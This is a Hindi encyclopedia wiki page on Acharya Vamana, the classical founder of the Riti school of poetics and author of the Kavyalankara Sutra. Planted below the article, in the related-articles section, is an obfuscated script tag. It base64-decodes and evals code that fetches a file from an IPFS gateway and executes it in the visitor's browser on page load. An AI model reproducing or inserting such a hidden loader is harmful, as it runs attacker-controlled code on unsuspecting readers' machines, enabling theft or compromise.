आचार्य वामन

भारत डिस्कवरी प्रस्तुति
Revision as of 07:29, 8 February 2019 by आशा चौधरी (talk | contribs) ('अलंकार शास्त्र के प्रमुख आचार्य और साहित्य की प...' के साथ नया पृष्ठ बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

अलंकार शास्त्र के प्रमुख आचार्य और साहित्य की प्रमुख धारा ‘रीति सम्प्रदाय’ के प्रवर्तक आचार्य वामन का समय आठवीं शताब्दी का अंत और नवीं शताब्दी का आरंभ काल माना जाता है। अलंकार शास्त्र पर सूत्र शैली में लिखा हुआ इनका ‘काव्यालंकार सूत्र’ नामक ग्रंथ उपलब्ध है| इन्होंने साहित्य में गुण और अलंकार के भेद को स्पष्ट किया।

वामन रीति की व्याख्या करते हुए वे विशिष्ट पद रचना को रीति मानते हैं। विशिष्ट से उनका अभिप्राय गुणात्मकता से है। इसी कारण रीति सम्प्रदाय को गुण संप्रदाय भी कहते हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 778 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः